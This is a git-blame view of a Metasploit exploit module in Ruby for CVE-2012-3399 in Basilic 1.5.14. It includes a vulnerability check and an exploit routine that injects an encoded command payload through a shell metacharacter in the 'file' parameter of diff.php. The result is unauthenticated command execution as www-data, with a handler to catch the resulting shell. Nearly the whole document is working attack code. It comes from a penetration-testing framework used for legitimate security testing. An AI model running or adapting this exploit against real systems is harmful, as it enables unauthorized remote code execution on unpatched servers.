Files
metasploit-gs/modules/exploits/unix/webapp/basilic_diff_exec.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

104 lines
2.5 KiB
Ruby
Raw Normal View History

2012-07-06 01:41:34 -05:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2012-07-06 01:41:34 -05:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2012-07-06 01:41:34 -05:00
Rank = ExcellentRanking
2013-08-30 16:28:54 -05:00
2012-07-06 01:41:34 -05:00
include Msf::Exploit::Remote::HttpClient
2013-08-30 16:28:54 -05:00
2012-07-06 01:41:34 -05:00
def initialize(info = {})
super(update_info(info,
'Name' => 'Basilic 1.5.14 diff.php Arbitrary Command Execution',
'Description' => %q{
This module abuses a metacharacter injection vulnerability in the
diff.php script. This flaw allows an unauthenticated attacker to execute arbitrary
commands as the www-data user account.
},
2012-07-06 02:12:10 -05:00
'Author' =>
[
'lcashdollar',
'sinn3r',
2012-08-06 18:59:16 +02:00
'juan vazquez'
2012-07-06 02:12:10 -05:00
],
2012-07-06 01:41:34 -05:00
'License' => MSF_LICENSE,
'References' =>
[
2018-07-08 18:46:04 -05:00
[ 'CVE', '2012-3399' ],
[ 'OSVDB', '83719' ],
2012-07-06 01:41:34 -05:00
[ 'BID', '54234' ]
],
'Platform' => %w{ linux unix },
2012-07-06 01:41:34 -05:00
'Arch' => ARCH_CMD,
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby python telnet'
2012-07-06 01:41:34 -05:00
}
},
'Targets' =>
[
[ 'Automatic Target', { }]
],
'DefaultTarget' => 0,
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2012-06-28'
2012-07-06 01:41:34 -05:00
))
2013-08-30 16:28:54 -05:00
2012-07-06 01:41:34 -05:00
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to Basilic', '/basilic-1.5.14/'])
])
2012-07-06 01:41:34 -05:00
end
2013-08-30 16:28:54 -05:00
2012-07-06 01:58:01 -05:00
def check
2012-11-08 17:42:48 +01:00
base = normalize_uri(target_uri.path)
2013-08-30 16:28:54 -05:00
2012-07-06 01:58:01 -05:00
sig = rand_text_alpha(10)
2013-08-30 16:28:54 -05:00
2012-07-06 01:58:01 -05:00
res = send_request_cgi({
2013-01-30 23:23:41 -06:00
'uri' => normalize_uri("/#{base}/Config/diff.php"),
2012-07-06 01:58:01 -05:00
'vars_get' => {
'file' => sig,
'new' => '1',
'old' => '2'
}
})
2013-08-30 16:28:54 -05:00
2013-08-16 11:34:32 -05:00
if res and res.code == 200 and res.body =~ /#{sig}/
return Exploit::CheckCode::Vulnerable
2012-07-06 01:58:01 -05:00
end
2013-08-30 16:28:54 -05:00
2013-08-16 11:34:32 -05:00
return Exploit::CheckCode::Safe
2012-07-06 01:58:01 -05:00
end
2013-08-30 16:28:54 -05:00
2012-07-06 01:41:34 -05:00
def exploit
print_status("Sending GET request...")
2013-08-30 16:28:54 -05:00
2012-11-08 17:42:48 +01:00
base = normalize_uri(target_uri.path)
2013-08-30 16:28:54 -05:00
2012-07-06 01:41:34 -05:00
res = send_request_cgi({
2013-01-30 23:23:41 -06:00
'uri' => normalize_uri("/#{base}/Config/diff.php"),
2012-07-06 01:41:34 -05:00
'vars_get' => {
2012-07-06 02:09:31 -05:00
'file' => "&#{payload.encoded} #",
2012-07-06 01:41:34 -05:00
'new' => '1',
'old' => '2'
}
})
2013-08-30 16:28:54 -05:00
2012-07-06 01:41:34 -05:00
if res and res.code == 404 then
print_error("404 Basilic not installed or possibly check URI Path.")
else
2012-07-15 22:19:12 -05:00
vprint_line("Server returned #{res.code}")
2012-07-06 01:41:34 -05:00
end
2013-08-30 16:28:54 -05:00
2012-07-06 01:41:34 -05:00
handler
end
end